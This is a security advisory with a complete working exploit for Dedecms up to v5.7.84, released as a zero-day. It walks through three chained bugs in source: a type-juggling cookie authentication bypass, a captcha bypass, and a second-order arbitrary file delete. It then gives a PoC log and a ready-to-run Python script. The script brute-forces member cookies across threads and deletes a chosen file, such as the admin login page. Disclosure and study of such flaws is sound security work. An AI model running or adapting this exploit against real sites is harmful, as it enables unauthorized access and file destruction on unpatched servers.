Lucene search

K
srcinciteSteven Seeley of Qihoo 360 Vulcan TeamSRC-2021-0029
HistoryOct 21, 2021 - 12:00 a.m.

SRC-2021-0029 : Dedecms GetCookie Type Juggling Authentication Bypass Vulnerability

2021-10-2100:00:00
Steven Seeley of Qihoo 360 Vulcan Team
srcincite.io
56

Vulnerability Details:

This vulnerability allows remote attackers to bypass authentication on affected installations of Dedecms. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the GetCookie function. The issue results from a loose comparison check when verifying incoming authenticated requests. An attacker can leverage this vulnerability to bypass authentication on the system as a member user.

Affected Vendors:

Dedecms

Affected Products:

Dedecms <= v5.7.84 release

Vendor Response:

Dedecms has not issued an update to correct this vulnerability.

#!/usr/bin/python3
"""
# Dedecms GetCookie Type Juggling Authentication Bypass Vulnerability
## Tested on the following versions: 

- v5.7.80 release
- v5.7.84 release

## Released as zero-day due to a lack of response:

2021-10-21 - Sent to [email protected]
2021-11-08 - No response, sent a reminder to [email protected]
2021-11-22 - No response, public dislcosure

## Summary:

The vulnerability chain allows unauthenticated attackers to delete arbitrary files from the target system. Although authentication is required, the existing authentication mechanism can be bypassed. This vulnerability can be leveraged to cause a denial of service.

## Notes:

- The config member open setting, $cfg_mb_open needs to be set to 'Y'. The default is 'N'.
- The second "vulnerability" requires that php-gd is not installed on the target system but this is not critical to exploit the authentication bypass
  since the captcha is only used for the file delete

## Vulnerability Analysis:

There are three bugs used in this chain:

1. cookie.helper GetCookie Type Juggling Authentication Bypass Vulnerability
   Found by: Steven Seeley of Qihoo 360 Vulcan Team
2. vdimgck echo_validate_image captcha bypass Vulnerability
   Found by: Steven Seeley of Qihoo 360 Vulcan Team
3. inc_batchup DelArc Arbitrary File Delete Vulnerability
   Found by:### cookie.helper GetCookie Type Juggling Authentication Bypass Vulnerability
CVSS: 7.3 (/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)

There are several parts of the code that perform the authentication check, but for this I will focus on the `plus/stow.php` script:

```php
$ml = new MemberLogin(); // 1

if ($ml->M_ID == 0) { // 2
    ShowMsg('只有用户才允许收藏操作!', 'javascript:window.close();');
    exit();
}
```

This code creates a new `MemberLogin` instance at [1] and either calls `IsLogin` or checks `M_ID` != 0 at [2]. The `IsLogin` function just returns true if the `M_ID` is > 0. Inside of the `include/memberlogin.class.php` script:

```php
class MemberLogin
{
    //...
    function __construct($kptime = -1, $cache=FALSE)
    {
        //...
        $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); // 3
        //...
    }
    //...
    function IsLogin()
    {
        if($this->M_ID > 0) return TRUE;
        else return FALSE;
    }
```

The `M_ID` is set at [3] from `GetCookie` and `GetNum` just converts it to a number. Inside of the `include/helpers/cookie.helper.php` script:

```php
if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'1BH21ANI1AGD297L1FF21LN02BGE1DNG']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'1BH21ANI1AGD297L1FF21LN02BGE1DNG']!=substr(md5($key.$cfg_cookie_encode.$_COOKIE[$key]),0,16)) // 4
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}
```

We can see the juggle at [4] with `!=`. This is enough to juggle the cookie DedeUserID__ckMd5 using the DedeUserID cookie with can result in an authentication bypass.

### vdimgck echo_validate_image captcha bypass Vulnerability

Inside of ./include/vdimgck.php, there is a weakness:

```php
if (!echo_validate_image($config))
{
    // 如果不成功则初始化一个默认验证码
    @session_start();
    $_SESSION['securimage_code_value'] = strtolower('abcd');
    $im = @imagecreatefromjpeg(dirname(__FILE__).'/data/vdcode.jpg');
    header("Pragma:no-cache\r\n");
    header("Cache-Control:no-cache\r\n");
    header("Expires:0\r\n");
    imagejpeg($im);
    imagedestroy($im);
}

function echo_validate_image( $config = array() )
{
    @session_start();

    if ( !function_exists('imagettftext') )
    {
        return false;
    }
    //...
```

if php-gd isn't installed, then this function will not exist! Not the cleanest bypass, but good enough for a fun exploit :P

### inc_batchup DelArc Arbitrary File Delete Vulnerability

Inside of `member/inc/inc_batchup.php` we see:

```php
function DelArc($aid)
{
    global $dsql,$cfg_cookie_encode,$cfg_ml,$cfg_upload_switch,$cfg_medias_dir;
    $aid = intval($aid);

    //读取文档信息
    $arctitle = '';
    $arcurl = '';

    $arcQuery = "SELECT arc.*,ch.addtable,tp.typedir,tp.typename,tp.namerule,tp.namerule2,tp.ispart,tp.moresite,tp.siteurl,tp.sitepath,ch.nid
          FROM `#@__archives` arc
          LEFT JOIN `#@__arctype` tp ON tp.id=arc.typeid
          LEFT JOIN `#@__channeltype` ch ON ch.id=arc.channel
        WHERE arc.id='$aid' ";
    $arcRow = $dsql->GetOne($arcQuery);
    if(!is_array($arcRow))
    {
        return false;
    }

    //删除数据库的内容
    //$dsql->ExecuteNoneQuery(" DELETE FROM `#@__arctiny` WHERE id='$aid' ");
    if($arcRow['addtable']!='')
    {
        //判断删除文章附件变量是否开启;
        if($cfg_upload_switch == 'Y')
        {
            //判断文章属性;
            switch($arcRow['nid'])
            {
                case "image":
                    $nid = "imgurls";
                    break;
                case "article":
                    $nid = "body";
                    break;
                case "soft":
                    $nid = "softlinks";
                    break;
                case "shop":
                    $nid = "body";
                    break;
                default:
                    $nid = "";
                    break;
            }
            if($nid !="")
            {
                $row = $dsql->GetOne("SELECT $nid FROM ".$arcRow['addtable']." WHERE aid = '$aid'");
                $licp = $dsql->GetOne("SELECT litpic FROM `#@__archives` WHERE id = '$aid'");
                if($licp['litpic'] != "")
                {
                    $litpic = DEDEROOT.$licp['litpic'];
                    if(file_exists($litpic) && !is_dir($litpic))
                    {
                        @unlink($litpic); // 1
                    }
```

The `unlink` at [1] is reachable by using the `member/archives_do.php` script:

```php
else if($dopost=="delArc")
{
    CheckRank(0,0);
    include_once(DEDEMEMBER."/inc/inc_batchup.php");
    $ENV_GOBACK_URL = empty($_COOKIE['ENV_GOBACK_URL']) ? 'content_list.php?channelid=' : $_COOKIE['ENV_GOBACK_URL'];


    $equery = "SELECT arc.channel,arc.senddate,arc.arcrank,ch.maintable,ch.addtable,ch.issystem,ch.arcsta FROM `#@__arctiny` arc
               LEFT JOIN `#@__channeltype` ch ON ch.id=arc.channel WHERE arc.id='$aid' ";

    $row = $dsql->GetOne($equery);
    if(!is_array($row))
    {
        ShowMsg("你没有权限删除这篇文档!","-1");
        exit();
    }
    if(trim($row['maintable'])=='') $row['maintable'] = '#@__archives';
    if($row['issystem']==-1)
    {
        $equery = "SELECT mid FROM `{$row['addtable']}` WHERE aid='$aid' AND mid='".$cfg_ml->M_ID."' ";
    }
    else
    {
        $equery = "SELECT mid,litpic from `{$row['maintable']}` WHERE id='$aid' AND mid='".$cfg_ml->M_ID."' ";
    }
    $arr = $dsql->GetOne($equery);
    if(!is_array($arr))
    {
        ShowMsg("你没有权限删除这篇文档!","-1");
        exit();
    }

    if($row['arcrank']>=0)
    {
        $dtime = time();
        $maxtime = $cfg_mb_editday * 24 *3600;
        if($dtime - $row['senddate'] > $maxtime)
        {
            ShowMsg("这篇文档已经锁定,你不能再删除它!","-1");
            exit();
        }
    }

    $channelid = $row['channel'];
    $row['litpic'] = (isset($arr['litpic']) ? $arr['litpic'] : '');

    //删除文档
    if($row['issystem']!=-1) $rs = DelArc($aid);  // 2
```

`DelArc` can be reached with a request like so:

```
GET /member/archives_do.php?aid=XXX&dopost=delArc HTTP/1.1
Host: target
```

But we need a way to poison the `litpic` variable. The answer is in the `member/album_add.php` script:

```php
    if($formhtml==1)
    {
        $imagebody = stripslashes($imagebody);
        $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);
        if($ddisfirst==1 && $litpic=='' && !empty($litpicname))
        {
            $litpic = $litpicname;
            $hasone = true;
        }
    }
```

Then later in the script we see:

```php
    $inQuery = "INSERT INTO `#@__archives`(id,typeid,sortrank,flag,ismake,channel,arcrank,click,money,title,shorttitle,
color,writer,source,litpic,pubdate,senddate,mid,description,keywords,mtype)
VALUES ('$arcID','$typeid','$sortrank','$flag','$ismake','$channelid','$arcrank','0','$money','$title','$shorttitle',
'$color','$writer','$source','$litpic','$pubdate','$senddate','$mid','$description','$keywords','$mtypesid'); ";
    if(!$dsql->ExecuteNoneQuery($inQuery))
    {
        $gerr = $dsql->GetError();
        $dsql->ExecuteNoneQuery("DELETE FROM `#@__arctiny` WHERE id='$arcID' ");
        ShowMsg("把数据保存到数据库主表 `#@__archives` 时出错,请联系管理员。","javascript:;");
        exit();
    }
```

`$litpic` is unchecked when being inserted into the database. This results in a second order file deletion.

# Proof of Concept:

It took just under 5 minutes in my testing to bypass authentication against a stock Apache2 server and delete the admin login page.

```
researcher@neophyte:~$ time ./poc.py 2 192.168.184.175 dede/login.php
(+) remember, patience is a virtue
(+) targeting user id: 2
(+) found: DedeUserID=2bzyi;DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0
(+) done! setting up file delete
(+) setting up second order delete!
(+) deleting file install/login.php!

real    4m57.724s
user    1m25.482s
sys     0m18.718s
```

# Timeline:

- 21/10/2021: Reported to [email protected].
- 08/11/2021: No response, reminded developer of the existing vulnerability.
- 22/11/2021: No response, public dislcosure.
"""

import string
import re
import itertools
import requests
import sys
import random
import time
import hashlib
import threading
from queue import Queue

def get_cookies(member, code):
    c = {
        "DedeUserID" : member + code,
        "DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG" : "0", # juggle
    }
    return c

def bypass_authentication(target, member, code):
    global found
    global counter
    if (found == False):
        counter += 1
        print("(+) attempt %d using: %s" % (counter, code), end='\r')
    try:
        r = requests.head("http://%s/plus/stow.php" % target, params={"aid":"1"}, cookies=get_cookies(member, code))
        if re.search("DedeLoginTime=(\d*);", r.headers["Set-Cookie"]):
            print("(+) found: DedeUserID=%s;DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0" % (member + code))
            found = code
    except requests.exceptions.RequestException as e:
        pass

def worker(target, member, code_queue):
    while (found == False):
        code = code_queue.get()
        bypass_authentication(target, member, code)
        code_queue.task_done()

def id_generator(size=4, chars=string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

def get_captcha(target):
    r = requests.get("http://%s/include/vdimgck.php" % target, stream=True)
    s = hashlib.sha1()
    s.update(r.content)
    if (s.hexdigest() == "c9393ece94bee5f61066a938894e6744b7a18fff"):
        match = re.search("PHPSESSID=(.*);", r.headers['set-cookie'])
        if match:
            return ["abcd", match.group(1)]
    # add a prompt here to capture the code from the attacker if you don't want to use bug #2
    return None

def inject_delete(target, captcha, file_to_delete, member, code):
    p = {
        "title" : id_generator(),
        "vdcode" : captcha[0],
        "formhtml" : "1",
        "typeid" : "13",   # don't change, works on default
        "channelid" : "2", # don't change, works on default
        "litpicname" : "/%s" % file_to_delete,
        "dopost" : "save"
    }
    c = get_cookies(member, code)
    c["PHPSESSID"] = captcha[1]
    r = requests.get("http://%s/member/album_add.php" % target, params=p, cookies=c)
    match = re.search("view.php\?aid=(\d*)", r.text)
    if match:
        return match.group(1)
    return None

def delete_file(target, aid, captcha, member, code):
    c = get_cookies(member, code)
    c["PHPSESSID"] = captcha[1]
    p = {
        "aid" : aid,
        "dopost" : "delArc"
    }
    requests.get("http://%s/member/archives_do.php" % target, params=p, cookies=c)

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 2 192.168.184.175 dede/login.php" % sys.argv[0])
        sys.exit(1)
    member = sys.argv[1]
    target = sys.argv[2]
    rmfile = sys.argv[3]
    print("(+) remember, patience is a virtue")
    print("(+) targeting user id: %s" % member)
    code_queue = Queue()
    # we use 4 as the standard bruteforce here
    for key in map(''.join, itertools.product(string.ascii_lowercase, repeat=4)):
        code_queue.put(key)
    for i in range(8):
         t = threading.Thread(target=worker, args=[target, member, code_queue])
         t.start()
    while(found == False):
        time.sleep(0.1)
    print("(+) done! setting up file delete")
    captcha = get_captcha(target)
    if captcha != None:
        print("(+) setting up second order delete!")
        aid = inject_delete(target, captcha, rmfile, member, found)
        if aid:
            print("(+) deleting file %s!" % rmfile)
            delete_file(target, aid, captcha, member, found)
        else:
            print("(-) failed to delete file: %s" % rmfile)    
    
if __name__ == "__main__":
    counter = 0
    found = False  
    main()